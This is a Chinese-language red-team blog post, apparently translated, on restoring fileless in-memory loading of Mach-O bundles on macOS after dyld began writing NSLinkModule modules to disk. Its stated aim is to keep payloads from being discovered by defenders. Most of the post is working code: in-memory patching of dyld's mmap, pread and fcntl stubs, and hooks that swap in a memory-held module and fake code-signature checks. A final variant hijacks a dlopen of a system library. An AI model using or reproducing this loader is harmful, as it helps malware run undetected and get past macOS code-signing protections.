IOS逆向-恢复Dyld的内存加载方式

之前我们一直在使用由dyld及其NS Create Object File Image From Memory / NS Link Module API方法所提供的Mach-O捆绑包的内存加载方式。虽然这些方法我们今天仍然还在使用，但是这个工具较以往有一个很大的区别......现在很多模块都被持久化到了硬盘上。

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@roguesys 在 2022 年 2 月发布公告称，dyld 的代码已经被更新，传递给 NSLinkModule 的任何模块都将会被写入到一个临时的位置中。

作为一个红队队员，这对于我们的渗透工作并没有好处。毕竟，NSLinkModule一个非常有用的api函数，这个函数可以使得我们的有效载荷不被蓝队轻易的发现。

因此，在这篇文章中，我们来仔细看看dyld的变化，并看看我们能做些什么来恢复这一功能，让我们的工具在内存中多保存一段时间，防止被蓝队过早的发现。

NSLinkModule有何与众不同

由于dyld是开源的，我们可以深入研究一下经常使用的NSLinkModule方法的工作原理。

该函数的签名为：

NSModule APIs::NSLinkModule(NSObjectFileImage ofi, const char* moduleName, uint32_t options) { ... }

该函数的第一个参数是ofi，它是用NSCreateObjectFileImageFromMemory创建的，它指向了存放Mach-O包的内存。然后我们还有moduleName参数和options参数，前者只是用于记录语句，后者一般是被忽略不用的。

通过查看代码发现，最新版本的NSLinkModule，会将osi所指向的内存写入磁盘。

if ( ofi->memSource != nullptr ) {
...
char        tempFileName[PATH_MAX];
const char* tmpDir = this->libSystemHelpers->getenv("TMPDIR");
if ( (tmpDir != nullptr) && (strlen(tmpDir) > 2) ) {
strlcpy(tempFileName, tmpDir, PATH_MAX);
if ( tmpDir[strlen(tmpDir) - 1] != '/' )
strlcat(tempFileName, "/", PATH_MAX);
}
else
strlcpy(tempFileName, "/tmp/", PATH_MAX);
strlcat(tempFileName, "NSCreateObjectFileImageFromMemory-XXXXXXXX", PATH_MAX);
int fd = this->libSystemHelpers->mkstemp(tempFileName);
if ( fd != -1 ) {
ssize_t writtenSize = ::pwrite(fd, ofi->memSource, ofi->memLength, 0);
}
...
}

通过分析可以发现，代码并不是真正的发生了 "新 "的变化。这段代码一直存在于dyld3中，只不过是现在macOS也决定使用这段代码路径。所以我们知道内存会被写入磁盘，并且路径会被传递给dlopen_from。

...
ofi->handle = dlopen_from(ofi->path, openMode, callerAddress);
...

因此，从本质上讲，这也就使得NSLinkModule成为了dlopen的一个封装器。

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那我们能否恢复dyld之前的内存加载特性呢？

我们知道磁盘 I/O 是被用来持久化和读取我们的代码的......那么，如果我们在调用之前拦截它们，会发生什么呢？

使用dyld进行hook

为了拦截 I/O 调用，我们首先需要了解如何对dyld进行hook。

我们研究看看dyld是如何处理mmap调用的。启动 Hopper 并加载 /usr/lib/dyld， 显示mmap 是由 dyld 使用 svc 调用的。

知道了这一点，如果我们找到内存中存放这段代码的位置，我们就应该能够覆盖服务调用并将其重定向到我们控制的地方。但我们该用什么来覆盖它呢？用下面的这段代码就可以。

ldr x8, _value
br x8
_value: .ascii "\x41\x42\x43\x44\x45\x46\x47\x48" ; Update to our br location

在我们进行操作之前，首先我们找到进程地址空间中dyld的基址。这是通过调用task_info完成的，我们可以传入TASK_DYLD_INFO来检索dyld的基址信息。

void *getDyldBase(void) {
struct task_dyld_info dyld_info;
mach_vm_address_t image_infos;
struct dyld_all_image_infos *infos;

mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;
kern_return_t ret;

ret = task_info(mach_task_self_,
TASK_DYLD_INFO,
(task_info_t)&dyld_info,
&count);

if (ret != KERN_SUCCESS) {
return NULL;
}

image_infos = dyld_info.all_image_info_addr;

infos = (struct dyld_all_image_infos *)image_infos;
return infos->dyldImageLoadAddress;
}

只要我们有了dyld的基址，我们就可以为mmap服务的调用查找签名。

bool searchAndPatch(char *base, char *signature, int length, void *target) {

char *patchAddr = NULL;
kern_return_t kret;

for(int i=0; i < 0x100000; i++) {
if (base[i] == signature[0] && memcmp(base+i, signature, length) == 0) {
patchAddr = base + i;
break;
}
}
...

当我们找到一个匹配的签名时，我们可以在我们的ARM64的Stub中打补丁。由于我们要处理的是内存的 "Read-Exec"页，我们需要用以下方法来更新内存保护。

kret = vm_protect(mach_task_self(), (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_WRITE | VM_PROT_COPY);
if (kret != KERN_SUCCESS) {
return FALSE;
}

注意这里的VM_PROT, 这个是必须要设定的，因为该内存页在其最大内存保护中没有设置写权限。

设置了写权限后，我们可以用我们的补丁覆盖内存，然后将保护重新设定为Read-Exec。

// Copy our path
memcpy(patchAddr, patch, sizeof(patch));

// Set the br address for our hook call
*(void **)((char*)patchAddr + 16) = target;

// Return exec permission
kret = vm_protect(mach_task_self(), (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_EXEC);
if (kret != KERN_SUCCESS) {
return FALSE;
}

现在我们需要思考一下，当我们在试图修改可执行的内存页时，在M1 macs上会发生什么。

由于macOS要确保每一页可执行内存都有签名，这也就意味着我们需要一个com.apple.security.cs.allow-unsigned-executable-memory的权限（com.apple.security.cs.disable-executable-page-protection也适用）来运行我们的代码。

那么，既然如此，我们该如何处理我们的hook程序呢？

API模拟调用

有了所有组件的映射，我们现在就可以开始模拟API的调用。根据dyld的代码，我们需要对mmap、pread、fcntl的内容进行处理。

如果我们这样做是正确的，我们可以在内存指向空白Mach-O文件的情况下对NSLinkModule进行调用，而该文件又将会被写入磁盘。然后当dyld正在从磁盘上读入文件时，我们就可以用内存中的副本动态地交换内容。

首先研究mmap。我们首先检查fd是否指向一个包含NSCreateObjectFileImageFromMemory的文件名，这是dyld写入磁盘的临时文件。

如果是这样的话，我们就不需要从磁盘上映射内存了，只要简单地分配一个新的内存区域，然后复制到我们构造的Mach-O包上。

#define FILENAME_SEARCH "NSCreateObjectFileImageFromMemory-"

const void* hookedMmap(void *addr, size_t len, int prot, int flags, int fd, off_t offset) {
char *alloc;
char filePath[PATH_MAX];
int newFlags;

memset(filePath, 0, sizeof(filePath));

// Check if the file is our "in-memory" file
if (fcntl(fd, F_GETPATH, filePath) != -1) {
if (strstr(filePath, FILENAME_SEARCH) > 0) {

newFlags = MAP_PRIVATE | MAP_ANONYMOUS;
if (addr != 0) {
newFlags |= MAP_FIXED;
}

alloc = mmap(addr, len, PROT_READ | PROT_WRITE, newFlags, 0, 0);
memcpy(alloc, memoryLoadedFile+offset, len);
vm_protect(mach_task_self(), (vm_address_t)alloc, len, false, prot);
return alloc;
}
}

// If for another file, we pass through
return mmap(addr, len, prot, flags, fd, offset);
}

接下来是pread参数，它会被dyld在加载时用来多次验证Mach-O的UUID。

ssize_t hookedPread(int fd, void *buf, size_t nbyte, int offset) {
char filePath[PATH_MAX];

memset(filePath, 0, sizeof(filePath));

// Check if the file is our "in-memory" file
if (fcntl(fd, F_GETPATH, filePath) != -1) {
if (strstr(filePath, FILENAME_SEARCH) > 0) {
memcpy(buf, memoryLoadedFile+offset, nbyte);
return nbyte;
}
}

// If for another file, we pass through
return pread(fd, buf, nbyte, offset);
}

最后我们处理fcntl。它会在很多地方被调用，可以在任何可能会失败的mmap调用之前验证编码的要求。

由于我们已经完成了hook，我们可以使dyld正常运行来绕过这些检查。

int hookedFcntl(int fildes, int cmd, void* param) {

char filePath[PATH_MAX];

memset(filePath, 0, sizeof(filePath));

// Check if the file is our "in-memory" file
if (fcntl(fildes, F_GETPATH, filePath) != -1) {
if (strstr(filePath, FILENAME_SEARCH) > 0) {
if (cmd == F_ADDFILESIGS_RETURN) {
fsignatures_t *fsig = (fsignatures_t*)param;

// called to check that cert covers file.. so we'll make it cover everything ;)
fsig->fs_file_start = 0xFFFFFFFF;
return 0;
}

// Signature sanity check by dyld
if (cmd == F_CHECK_LV) {
// Just say everything is fine
return 0;
}
}
}

return fcntl(fildes, cmd, param);
}

有了以上这些，然后我们可以把这一切组合起来。

int main(int argc, const char * argv[], const char * argv2[], const char * argv3[]) {
@autoreleasepool {
char *dyldBase;
int fd;
int size;
void (*function)(void);
NSObjectFileImage fileImage;

// Read in our dyld we want to memory load... obviously swap this in prod with memory, otherwise we've just recreated dlopen :/
size = readFile("/tmp/loadme", &memoryLoadedFile);

dyldBase = getDyldBase();
searchAndPatch(dyldBase, mmapSig, sizeof(mmapSig), hookedMmap);
searchAndPatch(dyldBase, preadSig, sizeof(preadSig), hookedPread);
searchAndPatch(dyldBase, fcntlSig, sizeof(fcntlSig), hookedFcntl);

// Set up blank content, same size as our Mach-O
char *fakeImage = (char *)malloc(size);
memset(fakeImage, 0x41, size);

// Small hack to get around NSCreateObjectFileImageFromMemory validating our fake image
fileImage = (NSObjectFileImage)malloc(1024);
*(void **)(((char*)fileImage+0x8)) = fakeImage;
*(void **)(((char*)fileImage+0x10)) = size;

void *module = NSLinkModule(fileImage, "test", NSLINKMODULE_OPTION_PRIVATE);
void *symbol = NSLookupSymbolInModule(module, "runme");
function = NSAddressOfSymbol(symbol);
function();
}
}

当我们执行时，可以看到在硬盘上就会创建我们的虚假文件。

但通过在运行时的交换内容来看，我们发现我们的内存模块加载完全正常。

其他

所以，最后一个阶段让我感到很困惑......我们使用了NSLinkModule，它生成了一个临时文件，并且用垃圾字符对它进行了填充。如果我们忽略这一点，而只是使用操作系统中的任意一个库来调用dlopen呢？这样应该就可以避免我们向磁盘中写入任何文件。

事实证明，这个想法是正确的。比如：

void *a = dlopen("/usr/lib/libffi-trampolines.dylib", RTLD_NOW);
function = dlsym(a, "runme");
function();

而不是只是搜索NSCreateObjectFileImageFromMemory，我们只是在搜索任何加载libffi-trampolines.dylib的引用，并通过我们的代码进行了替换，我们得到了同样的结果。

这里有一些注意事项。首先，我们需要确保库比我们自己要加载的模块大，否则当涉及到pread和mmap时，系统最终会截断我们的Mach-O。

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